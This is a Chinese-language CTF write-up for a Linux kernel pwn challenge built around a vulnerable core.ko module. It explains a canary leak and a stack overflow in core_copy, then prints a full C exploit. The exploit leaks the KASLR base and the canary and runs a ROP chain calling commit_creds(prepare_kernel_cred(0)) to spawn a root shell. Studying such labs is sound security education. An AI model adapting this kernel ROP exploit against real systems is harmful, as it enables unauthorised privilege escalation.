Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

下载附件 查看文件

把cpio解压,得到init文件和.ko的内核文件

先看start.sh:

程序开了KASLR

再看看init文件:

读取了kallsyms符号表放到tmp里 设置了120秒关机定时

加载了core.ko模块 现在看看这个模块

checksec看保护:

开了canary IDA查看:

init module有core_fops结构体 里面有core_write core_ioctl core_release三个函数 分别查看:

core_write:

把数据复制到bss段上

core_ioctl:

能执行三个操作

第一个是core_read:

将v6[off]的内容复制到a1上

第二个操作是设置off的值 可以结合core_read读出canary

第三个操作是复制:

将变量复制到栈上 大小如果传入恰当的数就能写入0xffff字节 存在栈溢出

所以思路是先利用以及在tmp里的符号表得到内核基地址 然后再泄露canary 最后执行ROP

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>

#define SUCCESS_MSG(msg) "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg) "\033[31m\033[1m" msg "\033[0m"

#define log_success(msg) puts(SUCCESS_MSG(msg))
#define log_info(msg) puts(INFO_MSG(msg))
#define log_error(msg) puts(ERROR_MSG(msg))

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t kernel_base = 0xffffffff81000000, kernel_offset;

size_t user_cs, user_ss, user_rflags, user_sp;


void save_status(void)
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
log_success("[*] Status has been saved.");
}

void get_root_shell(void)
{
if(getuid()) {
log_error("[x] Failed to get the root!");
sleep(5);
exit(EXIT_FAILURE);
}

log_success("[+] Successful to get the root.");
log_info("[*] Execve root shell now...");

system("/bin/sh");

/* to exit the process normally, instead of potential segmentation fault */
exit(EXIT_SUCCESS);
}


void core_read(int fd, char* buf)
{
ioctl(fd, 0x6677889B, buf);
}

void set_off_val(int fd, size_t off)
{
ioctl(fd, 0x6677889C, off);
}

void core_copy(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889A, nbytes);
}

#define COMMIT_CREDS 0xffffffff84e9c8e0
#define POP_RDI_RET 0xffffffff81000b2f
#define POP_RDX_RET 0xffffffff810a0f49
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff818012da
#define IRETQ 0xffffffff81050ac2
#define POP_RCX_RET 0xffffffff81021e53
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a

void exploitation()
{
FILE *ksyms_file;
int fd;
char buf[0x1000], type[0x10];
size_t addr;
size_t canary;
size_t rop_chain[0x100], i;

log_info("[*] ///EXPLOITING///");
save_status();

fd = open("/proc/core", O_RDWR);
if(fd < 0)
{
log_error("[x] failed to open the kernel module!");
exit(EXIT_FAILURE);
}
log_info("[*]reading kallsyms...");
ksyms_file = fopen("/tmp/kallsyms", "r");
if(ksyms_file == NULL)
{
log_error("[x] failed to open kallsyms!");
exit(EXIT_FAILURE);
}

while(fscanf(ksyms_file, "%lx%s%s", &addr, type, buf)) {
if(prepare_kernel_cred && commit_creds) {
break;
}

if(!commit_creds && !strcmp(buf, "commit_creds")) {
commit_creds = addr;
printf(
SUCCESS_MSG("[+] Successful to get the addr of commit_cread: ")
"%lx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred")) {
prepare_kernel_cred = addr;
printf(SUCCESS_MSG(
"[+] Successful to get the addr of prepare_kernel_cred: ")
"%lx\n", prepare_kernel_cred);
continue;
}
}

kernel_offset = commit_creds - COMMIT_CREDS;
kernel_base += kernel_offset;
printf(SUCCESS_MSG("[+] got base:") "%lx\n" SUCCESS_MSG("[+] got offset:") "%lx\n", kernel_base, kernel_offset);

log_info("[*] reading canary...");
set_off_val(fd, 64);
core_read(fd, buf);
canary = ((size_t*)buf)[0];
printf(SUCCESS_MSG("[+] got canary:") "%lx\n", canary);

for(i = 0;i < 10;i++)
{
rop_chain[i] = canary;
}
rop_chain[i++] = POP_RDI_RET + kernel_offset;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred;
rop_chain[i++] = POP_RDX_RET + kernel_offset;
rop_chain[i++] = POP_RCX_RET + kernel_offset;
rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + kernel_offset;
rop_chain[i++] = commit_creds;
rop_chain[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + kernel_offset;
rop_chain[i++] = (size_t)get_root_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

log_info("[*] ///start execute ROP///");
write(fd, rop_chain, 0x800);
core_copy(fd, 0xffffffffffff0000 | (0x100));

}






int main()
{
exploitation();
return 0;
}

关于内核偏移的计算 可以中start.sh先关掉KASLR得到未随机化的地址 然后再开启得到偏移 顺便把init里的定时关机关掉

解释ROP链:最终要执行commit_creds(prepare_kernel_cred(NULL))提权

先将prepare_kernel_cred的RDI设置为0

然后它的返回值会存储在RAX中 再MOV RDI, RAX 但找不到只有这条指令的地址 所以需要根据具体gadgets进行补全操作

接着就会调用commit_creds(prepare_kernel_cred(NULL)) 此时用户id已经被置为0 是root用户

然后用swapgs;pop fq; ret; 指令恢复用户态GS寄存器

iretq 汇编返回到用户态空间

将RIP cs rflags rsp ss寄存器弹出 执行system(“/bin/sh”)

然后就能成功提权:

评论